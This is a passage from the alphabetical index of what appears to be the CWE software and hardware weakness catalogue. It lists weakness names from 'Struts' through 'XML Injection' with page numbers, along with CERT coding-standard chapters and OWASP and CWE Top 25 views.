 Struts: Unused Validation Form, 251  
 Struts: Unvalidated Action Form, 253  
 Struts: Validator Turned Off, 254  
 Struts: Validator Without Form Field, 256  
 Suspicious Comment, 1186  
 Symbolic Name not Mapping to Correct Object, 892  
 Synchronous Access of Remote Resource without Timeout, 1788  
 System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers, 1835

## T

The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 10 - Locking (LCK), 2159  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 11 - Thread APIs (THI), 2160  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 12 - Thread Pools (TPS), 2160  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 13 - Thread-Safety Miscellaneous (TSM), 2161  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 14 - Input Output (FIO), 2161  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 15 - Serialization (SER), 2162  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 16 - Platform Security (SEC), 2162  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 17 - Runtime Environment (ENV), 2163  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 18 - Miscellaneous (MSC), 2163  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 2 - Input Validation and Data Sanitization (IDS), 2155  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 3 - Declarations and Initialization (DCL), 2156  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 4 - Expressions (EXP), 2156  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 5 - Numeric Types and Operations (NUM), 2157  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 6 - Object Orientation (OBJ), 2157  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 7 - Methods (MET), 2158  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 8 - Exceptional Behavior (ERR), 2158  
 The CERT Oracle Secure Coding Standard for Java (2011)  
 Chapter 9 - Visibility and Atomicity (VNA), 2159  
 The UI Performs the Wrong Action, 1017  
 Time-of-check Time-of-use (TOCTOU) Race Condition, 858  
 Transmission of Private Resources into a New Sphere ('Resource Leak'), 924  
 Trapdoor, 1147  
 Trojan Horse, 1144

Truncation of Security-relevant Information, 532  
 Trust Boundary Violation, 1135  
 Trust of System Event Data, 840  
 Trusting HTTP Permission Methods on the Server Side, 1348  
 Type Errors, 2102

## U

UI Discrepancy for Security Feature, 1014  
 Unauthorized Error Injection Can Degrade Hardware Redundancy, 2056  
 Uncaught Exception, 566  
 Uncaught Exception in Servlet, 1264  
 Unchecked Error Condition, 898  
 Unchecked Input for Loop Condition, 1278  
 Unchecked Return Value, 575  
 Unchecked Return Value to NULL Pointer Dereference, 1418  
 Unconditional Control Flow Transfer outside of Switch Block, 1777  
 Uncontrolled Recursion, 1391  
 Uncontrolled Resource Consumption, 912  
 Uncontrolled Search Path Element, 977  
 Undefined Behavior for Input to API, 1069  
 Unexpected Sign Extension, 471  
 Unexpected Status Code or Return Value, 904  
 Unimplemented or Unsupported Feature in UI, 1015  
 Uninitialized Value on Reset for Registers Holding Security Settings, 1940  
 Unintended Proxy or Intermediary ('Confused Deputy'), 1005  
 Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls, 1926  
 UNIX Hard Link, 115  
 UNIX Symbolic Link (Symlink) Following, 113  
 Unlock of a Resource that is not Locked, 1631  
 Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism'), 1320  
 Unparsed Raw Web Content Delivery, 989  
 Unprotected Alternate Channel, 963  
 Unprotected Confidential Information on Device is Accessible by OSAT Vendors, 1989  
 Unprotected Primary Channel, 962  
 Unprotected Transport of Credentials, 1161  
 Unprotected Windows Messaging Channel ('Shatter'), 966  
 Unquoted Search Path or Element, 982  
 Unrestricted Externally Accessible Lock, 947  
 Unrestricted Upload of File with Dangerous Type, 991  
 Unsafe ActiveX Control Marked Safe For Scripting, 1307  
 Unsigned to Signed Conversion Error, 477  
 Unsynchronized Access to Shared Data in a Multithreaded Context, 1213  
 Untrusted Pointer Dereference, 1604  
 Untrusted Search Path, 972  
 Unverified Ownership, 643  
 Unverified Password Change, 1301  
 URL Redirection to Untrusted Site ('Open Redirect'), 1266  
 Use After Free, 958  
 Use of a Broken or Risky Cryptographic Algorithm, 758  
 Use of a Cryptographic Primitive with a Risky Implementation, 1869  
 Use of a Key Past its Expiration Date, 752  
 Use of a Non-reentrant Function in a Concurrent Context, 1365  
 Use of a One-Way Hash with a Predictable Salt, 1479  
 Use of a One-Way Hash without a Salt, 1474  
 Use of Blocking Code in Single-threaded, Non-blocking Context, 2033  
 Use of Cache Containing Sensitive Information, 1163



Use of Client-Side Authentication, 1275  
 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG), 793  
 Use of Default Credentials, 2091  
 Use of Default Cryptographic Key, 2095  
 Use of Default Password, 2093  
 Use of Expired File Descriptor, 1677  
 Use of Externally-Controlled Format String, 349  
 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'), 1057  
 Use of Function with Inconsistent Implementations, 1067  
 Use of GET Request Method With Sensitive Query Strings, 1262  
 Use of getlogin() in Multithreaded Application, 1199  
 Use of Hard-coded Credentials, 1573  
 Use of Hard-coded Cryptographic Key, 745  
 Use of Hard-coded Password, 591  
 Use of Hard-coded, Security-relevant Constants, 1187  
 Use of Implicit Intent for Sensitive Communication, 1706  
 Use of Incorrect Byte Ordering, 483  
 Use of Incorrect Operator, 1087  
 Use of Incorrectly-Resolved Name or Reference, 1439  
 Use of Inherently Dangerous Function, 557  
 Use of Inner Class Containing Sensitive Data, 1110  
 Use of Insufficiently Random Values, 772  
 Use of Invariant Value in Dynamically Changing Context, 804  
 Use of Less Trusted Source, 813  
 Use of Low-Level Functionality, 1425  
 Use of Multiple Resources with Duplicate Identifier, 1424  
 Use of Non-Canonical URL Paths for Authorization Decisions, 1343  
 Use of NullPointerException Catch to Detect NULL Pointer Dereference, 906  
 Use of Object without Invoking Destructor Method, 1792  
 Use of Obsolete Function, 1076  
 Use of Out-of-range Pointer Offset, 1606  
 Use of Password Hash Instead of Password for Authentication, 1639  
 Use of Password Hash With Insufficient Computational Effort, 1688  
 Use of Password System for Primary Authentication, 716  
 Use of Path Manipulation Function without Maximum-sized Buffer, 1542  
 Use of Persistent Cookies Containing Sensitive Information, 1179  
 Use of Platform-Dependent Third Party Components, 1803  
 Use of Pointer Subtraction to Determine Size, 1055  
 Use of Potentially Dangerous Function, 1394  
 Use of Predictable Algorithm in Random Number Generator, 1875  
 Use of Prohibited Code, 1827  
 Use of Redundant Code, 1740  
 Use of RSA Algorithm without OAEP, 1531  
 Use of Same Invokable Control Element in Multiple Architectural Layers, 1793  
 Use of Same Variable for Multiple Purposes, 1808  
 Use of Single-factor Authentication, 713  
 Use of Singleton Pattern Without Synchronization in a Multithreaded Context, 1183  
 Use of sizeof() on a Pointer Type, 1050  
 Use of umask() with chmod-style Argument, 1200  
 Use of Uninitialized Resource, 1669  
 Use of Uninitialized Variable, 1034  
 Use of Unmaintained Third Party Components, 1803  
 Use of Weak Credentials, 2089  
 Use of Weak Hash, 765  
 Use of Web Browser Cache Containing Sensitive Information, 1164

Use of Web Link to Untrusted Target with window.opener Access, 1729  
 Use of Wrong Operator in String Comparison, 1258  
 User Interface (UI) Misrepresentation of Critical Information, 1020  
 User Interface Security Issues, 2112  
 User Session Errors, 2272  
 Using Referer Field for Authentication, 673

**V**

Validate Inputs, 2226  
 Variable Extraction Error, 1303  
 Verify Message Integrity, 2227  
 Violation of Secure Design Principles, 1361

**W**

Weak Authentication, 2087  
 Weak Encoding for Password, 598  
 Weak Password Recovery Mechanism for Forgotten Password, 1326  
 Weak Password Requirements, 1154  
 Weakness Base Elements, 2314  
 Weaknesses Addressed by the CERT C Secure Coding Standard (2008), 2320(*Graph: 2376*)  
 Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011), 2324(*Graph: 2382*)  
 Weaknesses Addressed by the SEI CERT C Coding Standard, 2343(*Graph: 2444*)  
 Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version), 2326(*Graph: 2385*)  
 Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java, 2341(*Graph: 2441*)  
 Weaknesses Addressed by the SEI CERT Perl Coding Standard, 2345(*Graph: 2447*)  
 Weaknesses for Simplified Mapping of Published Vulnerabilities, 2336(*Graph: 2429*)  
 Weaknesses in Mobile Applications, 2333  
 Weaknesses in OWASP Top Ten (2004), 2319(*Graph: 2373*)  
 Weaknesses in OWASP Top Ten (2007), 2310(*Graph: 2359*)  
 Weaknesses in OWASP Top Ten (2010), 2323(*Graph: 2381*)  
 Weaknesses in OWASP Top Ten (2013), 2333(*Graph: 2403*)  
 Weaknesses in OWASP Top Ten (2017), 2338(*Graph: 2437*)  
 Weaknesses in OWASP Top Ten (2021), 2353(*Graph: 2459*)  
 Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS, 2356(*Graph: 2465*)  
 Weaknesses in Software Written in C, 2313  
 Weaknesses in Software Written in C++, 2313  
 Weaknesses in Software Written in Java, 2313  
 Weaknesses in Software Written in PHP, 2314  
 Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors, 2322(*Graph: 2379*)  
 Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors, 2322(*Graph: 2380*)  
 Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors, 2332(*Graph: 2402*)  
 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors, 2347(*Graph: 2451*)  
 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses, 2354(*Graph: 2464*)  
 Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List, 2352  
 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses, 2349(*Graph: 2456*)

Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses, 2357 (*Graph: 2467*)  
Weaknesses Introduced During Design, 2318  
Weaknesses Introduced During Implementation, 2318  
Weaknesses Originally Used by NVD from 2008 to 2016, 2311  
Windows Hard Link, 119  
Windows Shortcut Following (.LNK), 117  
Wrap-around Error, 324  
Write-what-where Condition, 310

**X**

XML Injection (aka Blind XPath Injection), 209